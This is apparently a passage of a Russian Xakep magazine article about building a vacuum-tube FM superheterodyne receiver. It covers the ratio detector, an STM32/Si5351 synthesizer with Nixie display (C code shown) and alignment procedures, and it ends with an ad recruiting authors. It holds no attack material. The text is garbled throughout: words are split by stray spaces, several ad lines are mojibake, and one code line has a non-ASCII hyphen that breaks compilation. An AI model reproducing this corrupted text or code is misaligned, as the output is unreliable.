менил  в  при емни ке.  На  рисун ке  ниже  пред став лена  схе ма  огра ничи теля
и дроб ного детек тора.

Дроб ный детек тор и огра ничи тель

Во обще  говоря,  огра ничи тель  для  дроб ного  детек тора  необя зате лен,  но  с
ним получа ется луч ше. Конс трук тивно детек тор выпол нен в виде отдель ного
бло ка и целиком помещен в экран, в  котором име ются отвер стия для подс‐ 
трой ки  кон туров.  Боль шинс тво  деталей —  в  SMD‐исполне нии,  что  помог ло
умень шить габари ты.

Де тек тор поч ти в сбо ре

Пла та детек тора

Эк ран

Ка туш ки  выпол нены  на  упо минав шихся  ранее  сер дечни ках  L4  и  содер‐ 
жат 20 вит ков эма лиро ван ного про вода 0,2 мм. Катуш ка L5 мота ется поверх
L4 и содер жит пять вит ков того же про вода. Катуш ка L6 мота ется на отдель‐ 
ном  кар касе  двой ным  про водом  и  содер жит  12  +  12  вит ков.  Сами  кар касы
раз мещены друг от дру га на рас сто янии 10 мм.

Ди оды  1N34  мож но  заменить  на  более  аутен тичные  Д2  или  Д9.  Как  ни
стран но,  нес мотря  на  мои  ожи дания,  с  дроб ным  детек тором  не  воз никло
никаких проб лем в нас трой ке, глав ное — попасть в нуж ный час тотный диапа‐ 
зон, что реша ется под бором кон денса торов С6 и C7.

Что  же  каса ется  огра ничи теля,  то  он —  от  обыч ного  уси литель ного  кас‐ 
када понижен ным нап ряжени ем на уско ряющем элек тро де и низ ким анод ным
током,  что  огра ничи вает  ампли туду  в  анод ном  кон туре.  Кро ме  того,  кас кад
работа ет  без  сме щения и  нес коль ко огра ничи вает  ампли туду  вход ного  сиг‐ 
нала за счет сеточ ного тока.

УЗЧ и блок питания
Уси литель  зву ковой  час тоты  выпол нен  по  совер шенно  типовой  одно так тной
схе ме  на  лам пе  6Ф5П  и  пол ностью  пов торя ет  УЗЧ  ранее  упо мяну того  при‐ 
емни ка с низ кой ПЧ. Боль ше тут, пожалуй, и обсуждать нечего, на тему лам‐ 
повых одно так тных уси лите лей в сети информа ции даже боль ше, чем нуж но.
Единс твен ное,  о  чем  сто ит  упо мянуть,  —  это  зазем ление  накаль ной  цепи
через резис торы: такое решение поз воля ет подавить фон в 50 Гц.

УЗЧ и БП

Блок  питания  выпол нен  на  тран сфор маторе  ТАН‐3,  схе ма  совер шенно
типовая.
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Синтезатор и блок индикации
Схе ма син тезато ра во мно гом похожа на исполь зован ную в 

,  но  есть  отли чия.  Так,  вмес то  дис плея  OLED  исполь зован
блок инди кации на Nixie, инди кация ста тичес кая. Вто рое отли чие — исполь‐ 
зование  ШИМ‐сиг нала  для  управле ния  варика пом  вход ного  кон тура  пре‐ 
обра зова теля.

ко рот ковол новом
супер гетеро дине

Мик рокон трол лер исполь зован все тот же — STM32F030K6T6, его и паять
удоб но, и воз можнос тей это го чипа здесь хва тает с боль шим избытком.

Схе ма циф ровой час ти

Ра зуме ется,  непос редс твен но  ШИМ‐сиг нал  подавать  на  варикап  нель зя,
поэто му  перево дим  его  в  пос тоян ку  с  помощью  ФНЧ  на  RC‐цепоч ках.  Так
как ско рость изме нения нап ряжения нам здесь не кри тич на, то зна чение час‐ 
тоты сре за мож но опус тить дос таточ но низ ко, тут око ло 100 Гц. Пос ле это го
сиг нал нашего ЦАПа пода ется на опе раци онный уси литель, уси лива ющий его
при мер но  в  четыре  раза:  так,  3,3  В  питания  кон трол лера  малова то
для  управле ния  варика пом  BB910,  а  вот  12  уже  впол не  сой дет.  Сиг нал
на выходе дан ного импро визи рован ного ЦАПа я смот рел на осциллог рафе,
помех от ШИМ‐сиг нала не наб люда ется, чис тая пос тоян ка.

Вот код нас трой ки тай мера для генера ции ШИМ‐сиг нала. Код, как обыч но,
написан на C c исполь зовани ем  .LibOpenCM3

 void pwm_init(void){
 rcc_periph_clock_enable(RCC_GPIOB);
   gpio_set_output_options(GPIOB, GPIO_OTYPE_PP,

                          GPIO_OSPEED_2MHZ, GPIO1);
       gpio_mode_setup(GPIOB, GPIO_MODE_AF, GPIO_PUPD_NONE, GPIO1);
 gpio_set_af(GPIOB,GPIO_AF1,GPIO1);
 rcc_periph_clock_enable(RCC_TIM3);
   timer_set_mode(TIM3, TIM_CR1_CKD_CK_INT_MUL_4,

                 TIM_CR1_CMS_CENTER_1, TIM_CR1_DIR_UP);
     timer_set_oc_mode(TIM3, TIM_OC3, TIM_OCM_PWM1);
   timer_enable_oc_output(TIM3, TIM_OC3);
     timer_set_oc_value(TIM3, TIM_OC3, 750);
   timer_set_period(TIM3, 3000);
 timer_enable_counter(TIM3);
}

При так товой час тоте в 8 МГц такая кон фигура ция обес печива ет час тоту сле‐ 
дова ния  ШИМ‐сиг нала  при мер но  106  кГц.  При вязы вать  зна чения,  задава‐ 
емые ШИМ‐генера тору,  к  реаль ному  нап ряжению  нам  в  дан ном  слу чае  нет
никакой необ ходимос ти, поэто му пока оста новим ся на абс трак тном зна чении
от 0 до 3000, что будет соот ветс тво вать нап ряжению на выходе от 0 до при‐ 
мер но 11 В.

Те перь об инди кации. Как уже говори лось, мы будем исполь зовать лам пы
Z5900.  Инди кация  ста тичес кая,  а  в  качес тве  драй вера  исполь зуют ся  сдви‐ 
говые  регис тры  74HC595  и  дво ично‐десятич ный  пре обра зова тель  SN74141
(пол ный ана лог К155ИД1).

По чему имен но SN74141, а не К155ИД1? Прос то они сто яли в  том бло ке,
отку да  я  взял  инди като ры.  В  прин ципе,  нич то  не  меша ет  отка зать ся  вов се
от дво ично‐десятич ных пре обра зова телей и делать так же, как в  , будет
дешев ле и луч ше. Час тота отоб ража ется с точ ностью до 100 кГц, а для того,
что бы ведущий ноль (на ниж нем кон це диапа зона) не раз дра жал взгляд, ано‐ 
ды ламп запита ны через тран зистор ные клю чи.

ча сах

Ре гис тры  под клю чены  к  аппа рат ному  SPI1,  час тота  шины  взя та  низ кой,
что бы исклю чить  вли яние помех от  высоко воль тных цепей,  с  этой же целью
и так товая час тота мик рокон трол лера опу щена до 8 МГц.

Каж дая посыл ка на блок инди кации пред став ляет собой три бай та. Пер вый
отве чает  за  два  инди като ра,  вто рой  за  тран зистор ные  клю чи  (млад шие
четыре бай та), тре тий — за оставши еся два инди като ра. Перес танов ка бай‐ 
тов  обус ловле на  раз водкой  пла ты  и  выпол няет ся  с  помощью  зна чений
из мас сива.

 void rcc_clock_setup_in_hsi_out_8mhz(void){
 rcc_osc_on(RCC_HSI);
 rcc_wait_for_osc_ready(RCC_HSI);
 rcc_set_sysclk_source(RCC_HSI);
 rcc_set_hpre(RCC_CFGR_HPRE_NODIV);
 rcc_set_ppre(RCC_CFGR_PPRE_NODIV);
 flash_prefetch_enable();
 flash_set_ws(FLASH_ACR_LATENCY_000_024MHZ);
 /* 8 MHz * 4 / 2 = 16 MHz */
 rcc_set_pll_multiplication_factor(RCC_CFGR_PLLMUL_MUL2);
 rcc_set_pll_source(RCC_CFGR_PLLSRC_HSI_CLK_DIV2);
 rcc_osc_on(RCC_PLL);
 rcc_wait_for_osc_ready(RCC_PLL);
 rcc_set_sysclk_source(RCC_PLL);
     rcc_apb1_frequency = 8000000;
     rcc_ahb_frequency = 8000000;
}

     static const uint8_t sym_table[10]={0,1,4,5,8,9,12,13,2,3};

   void indicate(uint32_t fkhz){
   uint8_t a,b=0b10000,c;
   uint16_t ac;
   uint8_t temp;
 // Тушим лишние разряды
   if(fkhz>999) b=0b11110000;
     else if(fkhz>99) b=0b1110000;
     else if(fkhz>9) b=0b110000;
   for(uint8_t i=0;i<4;i++){
   temp=fkhz%10;
   fkhz/=10;
   ac<<=4;
   ac|=sym_table[temp];
   //ac|=temp;
 }
 a=(uint8_t)(ac&0xff);
 c=(uint8_t)(ac>>8);
   spi_send8(SPI1, c);
   spi_send8(SPI1, b);
   spi_send8(SPI1, a);
 gpio_set(GPIOA,GPIO6);
 gpio_clear(GPIOA,GPIO6);
}

На  вход  фун кции  пода ется  зна чение,  которое  отоб разит ся  на  инди като рах.
Если чис ло четырех знач ное, то будут задей ство ваны все четыре инди като ра,
если трех знач ное, то три и так далее.

Эн кодер,  как  и  преж де,  работа ет  на  пре рыва ниях,  а  в  фун кции 
в бес конеч ном цик ле идет наб людение за зна чени ем энко дера, которое фак‐ 
тичес ки явля ется зна чени ем час тоты син тезато ра, на инди като ры же переда‐ 
ется  зна чение  с  поп равкой  на  ПЧ.  Так же  есть  воз можность  управлять
ШИМ‐сиг налом  вруч ную,  что  было  исполь зовано  для  соп ряжения  кон тура
с гетеро дином. В ито ге ока залось, что опти маль ные зна чения ШИМ свя заны
с час тотой линей ной зависи мостью (я думал, будет экспо нен та) 

. Поэто му необ ходимость в руч ной подс трой ке отпа ла.

main()

F*0.07088‐
4709

Зна чения  выход ной  мощ ности  гетеро дина  под бира ются  по  луч шему
качес тву при ема. Шаг перес трой ки сос тавля ет 50 кГц.

 void main(){
 rcc_clock_setup_in_hsi_out_8mhz();
 led_setup();
 exti_encoder_init();
 i2c_setup();
 spi_init();
 pwm_init();
 gpio_set(GPIOB,GPIO5);
     si5351_init(SI5351_CRYSTAL_LOAD_10PF, 25000000, 0);
   si5351_drive_strength(SI5351_CLK0, SI5351_DRIVE_6MA);
   si5351_set_freq(10200000ULL, SI5351_CLK0);
   uint32_t old_enc=0;
   uint32_t old_encoder=0;
   int varicap_val=750;
 while(1){
   switch(encoder_mode){

      case 0:
       indicate((encoder+IF_FEQ)/100);
       break;

      case 1:
       indicate(pwm1);
       break;
   }

   if(!gpio_get(GPIOA,GPIO2)){
     while(!gpio_get(GPIOA,GPIO2))__asm__("nop");
     encoder_mode++;
     if(encoder_mode>1)encoder_mode=0;
     if(encoder_mode)pwm1=(uint16_t)varicap_val;
   }
   if(old_encoder!=encoder){

      si5351_set_freq(encoder*100000ULL, SI5351_CLK0);
     varicap_val=(int)((double)encoder*0.07088‐4709);

      if(varicap_val<100) varicap_val=100;
      if(varicap_val>3300) varicap_val=3300;

        timer_set_oc_value(TIM3, TIM_OC4, (uint16_t)varicap_val);
     old_encoder=encoder;
   }
       for(uint32_t i=0;i<0x5fff;i++) __asm__("nop");
   gpio_toggle(GPIOB,GPIO5);
 }
}

В осталь ном про шив ка ана логич на исполь зован ной в корот ковол новом при‐ 
емни ке.

INFO

Код про шив ки схе мы и печат ные пла ты, как всег‐ 
да, лежат на  .GitHub

Конс трук тивно  син тезатор  выпол нен  на  двух  печат ных  пла тах  (син тезатор
плюс  кон трол лер  и  блок  инди кации)  в  отдель ном  кор пусе  из  орг стек ла,
питание  незави симое  от  осталь ного  при емни ка,  для  чего  исполь зован
отдель ный тран сфор матор, обес печива ющий нап ряжение 12–15 В. Печат ные
пла ты  соеди нены  стой ками  М3,  эти ми  же  стой ками  устрой ство  кре пит ся
в кор пусе.

Пла ты син тезато ра свер ху

Пла ты син тезато ра сни зу

Син тезатор в сбо ре

НАСТРОЙКА
Нас трой ка  все го  это го  дела,  пожалуй,  самая  слож ная  часть  и  до  некото рой
сте пени  соп ряжена  со  сбор кой.  Чис то  теоре тичес ки  нас тро ить  все  мож но
при помощи тес тера и на слух, но на прак тике это малоре аль но, так как для
такой нас трой ки сна чала надо попасть все ми кон турами в пра виль ный диапа‐ 
зон час тот, что с ходу поч ти невоз можно.

По это му  для  нас трой ки  необ ходимы  генера тор  стан дар тных  сиг налов
(ГСС),  осциллог раф  и  край не  желате лен  аче хометр,  про  тес тер  я  мол чу,
это само собой разуме ющееся. Я исполь зовал генера тор FY6800, осциллог‐ 
раф  DSO5102P  и  аче хометр  NWT200.  Пос ледний  край не  удоб ная  шту ка,
потому что поз воля ет наг лядно нас тра ивать АЧХ УПЧ. Впро чем, без него мож‐ 
но обой тись, но грус тно вато.

Так же для под клю чения низ коом ного вхо да NWT200 к высоко омным цепям
и  осо бен но  к  кон турам  нуж но  соб рать  высоко омный  щуп,  пред став ляющий
собой исто ковый пов торитель на двух затвор ном тран зисто ре.

Схе ма высоко омно го щупа

Я убрал ста били затор, потому что питаю схе му от USB, и умень шил резис тор
в цепи зат вора до 1 М, а пос ледова тель но со вход ным кон денса тором в 2 пФ
пос тавил резис тор 51 К.

В  такой  кон фигура ции щуп  не  ока зыва ет  замет ного  вли яния  на  кон туры,
к  которым  под клю чает ся,  в  отли чие  от  щупа  осциллог рафа.  У  самого  щупа
есть  завал по  час тоте,  который нарас тает сна чала рез ко до 1 МГц, а потом
плав но. Впро чем, для наших целей это не очень важ но. Перечис ленно го обо‐ 
рудо вания нам впол не хва тит.

Предварительная настройка контуров
Сна чала  надо  подог нать  кон туры  приб лизитель но  в  диапа зон  так,  что бы
диапа зон перес трой ки перек рывал тре буемые час тоты. Для вход ного кон тура
сме сите ля это час тоты FM‐диапа зона, а для осталь ных кон туров 10,7 МГц.

Собс твен но,  гру бую  подс трой ку  час тоты  кон тура  про изво дят  под бором
кон денса тора,  памятуя,  что  час тота  кон тура  изме няет ся  обратно  про пор‐ 
циональ но  квад ратно му  кор ню  из  емкости.  Для  оцен ки  час тоты  резонан са
исполь зует ся нес ложная схе ма.

Схе ма для оцен ки час тоты резонан са кон тура

Тут все прос то: пода ем сиг нал с генера тора и смот рим ампли туду колеба ний
на  кон туре,  в  точ ке  резонан са  ампли туда  будет  мак сималь на.  Упо мяну тый
выше щуп мож но под клю чать без раз вязыва юще го кон денса тора.

Во обще, для этих целей NWT очень хорош. Пос ле под бора кон денса торов
кон туры мож но под клю чать к схе ме.

Настройка смесителя
К нас трой ке сме сите ля мож но подой ти с двух сто рон. В прос тей шем слу чае
на вход  гетеро дина мож но подать сиг нал с час тотой ПЧ и по мак сималь ной
ампли туде  на  выходе  филь тра  подс тро ить  кон тур.  А  мож но  под клю чить
гетеро дин, к антенно му вхо ду и выходу филь тра под клю чить NWT и смот реть
реаль ную АЧХ УВЧ и сме сите ля. Тут мож но подс тра ивать сра зу оба кон тура,
и  это  гораз до  наг ляднее.  При  неудач ном  мон таже  сме ситель  может  воз‐ 
буждать ся, лечит ся это опти миза цией мон тажа.

Настройка УПЧ
Тут  все  при мер но  так  же,  как  со  сме сите лем:  под клю чаем  NWT  на  вход
и  выход  и,  вра щая  кон туры,  добива емся  середи ны  полосы  в  рай‐ 
оне 10,7 и ширины полосы 200 кГц. При такой нас трой ке мож но уви деть, есть
ли у уси лите ля тен денция к самовоз бужде нию, что про явля ется как рост уси‐ 
ления при сужении полосы. С этим мож но бороть ся, шун тируя кон туры резис‐ 
торами око ло 20 К, вза имо расс трой кой кон туров и опти миза цией мон тажа.

Осо бен но  к  таким  фокусам  скло нен  УПЧ  с  емкос тной  связью,  при чем
иног да это явле ние зависит от интенсив ности вход ного сиг нала. Так же мож но
поп робовать  помес тить  лам пы  в  экран.  Вмес то  NWT  мож но  исполь зовать
и ГСС с осциллог рафом, но это не так удоб но. Сле дует так же учесть, что под‐ 
клю чение щупа осциллог рафа в анод ные цепи вли яет на нас трой ку.

В  слу чае  уси лите ля  с  индуктив ной  связью  осциллог раф  нуж но  вклю чать
в  сеточ ную цепь,  это  нивели рует  вли яние на  нас трой ку. Сле дует  учесть,  что
в катуш ке свя зи надо зазем лять отвод со сто роны зазем ленно го отво да кон‐ 
тура, это поз волит сни зить собс твен ную емкость кон тура. Так же в некото рых
слу чаях при дет ся подоб рать емкости кон туров. В иде але тре буемая нас трой‐ 
ка дол жна наб людать ся при вкру чен ных наполо вину в катуш ку сер дечни ках.

Настройка дробного детектора
В  сети  быту ет  мне ние,  что  нас трой ка  дроб ного  детек тора  труд на,  одна ко
имен но  с  детек тором  у  меня  не  воз никло  осо бых  проб лем.  Под клю чаем
на  вход  огра ничи теля  ГСС,  уста нав лива ем  час тоту  10,7  МГц.  Под клю чаем
тес тер к выводам элек тро лити чес кого кон денса тора детек тора, а на выход —
осциллог раф.  Анод ный  кон тур  нас тра ивает ся  по  мак симуму  нап ряжения
на  кон денса торе.  Вто рой  кон тур  нас тра ивает ся  по  нулю  нап ряжения
на выходе детек тора.

Мож но  подать  FM‐сиг нал  на  вход  с  деви ацией  час тоты  75  кГц,  при чем
если модули рующий сиг нал будет пило образной фор мы, нап ример 1 кГц, то
мож но сра зу оце нить и линей ность детек тора. В целом работа это го детек‐ 
тора мне пон равилась, пила на выходе была впол не при лич ная.

УНЧ
Ну,  тут ману алов пол но,  на  любой вкус и цвет. В целом нас трой ка  сво дит ся
к  под гонке  нап ряжений  на  катодах  под  даташит  на  лам пу.  На  катоде  пен‐ 
тодной час ти 6Ф5П дол жно быть око ло 12 В, а на катоде три одной — при мер‐ 
но 2 В.

АНТЕННА
Как  показа ла  прак тика,  при емник  дос таточ но  чувс тви тель ный  и  неп лохо
работа ет даже на полумет ровую телес копичес кую антенну, но луч шие резуль‐ 
таты дос тига ются с диполь ной антенной, которую в прос тей шем слу чае мож‐ 
но  сде лать  из  двух  пив ных  банок.  Работа ет  такой  девайс  очень  хорошо.
А  если  не  пожалеть  сил  и  сде лать  нор маль ный  диполь,  на  FM‐диапа зон
с сим метри зующим устрой ством, то выходит и вов се здо рово. На пол нораз‐ 
мерный диполь наб люда ется уве рен ный при ем всех стан ций FM‐диапа зона:
в нашей мес тнос ти их я нас читал 52.

ОБЩИЕ ВПЕЧАТЛЕНИЯ
Конс трук цией  я  остался  доволен,  она  пре вос ходит 
по всем парамет рам, вклю чая слож ность конс трук ции и нас трой ки. Сама нас‐ 
трой ка на стан цию прос тая и удоб ная, не тре бует лиш них телод вижений.

при емник  с  низ кой  ПЧ

Час тота  сто ит  как  вко пан ная,  что,  впро чем,  неуди витель но.  Изби ратель‐ 
ность по сосед нему каналу не хуже типич ного бытово го при емни ка, что тоже
неуди витель но,  пос коль ку  в  конс трук ции  при менен  филь тр.  Даже  чувс тви‐ 
тель ность ока залась не хуже, чем у китай цев.

Собс твен но,  пока  я  писал  этот  текст,  я  слу шал свой при емник,  и  слу шал
с удо воль стви ем. Что хотелось бы еще добавить в конс трук цию, так это сте‐ 
реоде тек тор,  осо бен но  учи тывая,  что  при  при еме  мощ ных  стан ций  на  под‐ 
клю чен ном  к  выходу  детек тора  спек тро ана лиза торе  отчетли во  вид на  и  под‐ 
несущая 19 кГц, и две боковые око ло 38 кГц. Но об этом — уже в дру гой раз.

https://xakep.ru/2020/10/30/supergeterodin/
http://libopencm3.org/
https://xakep.ru/2020/04/09/diy-tubes-timer/
https://github.com/5881/tube_fm_si5351
https://xakep.ru/2020/02/12/fm-on-tubes/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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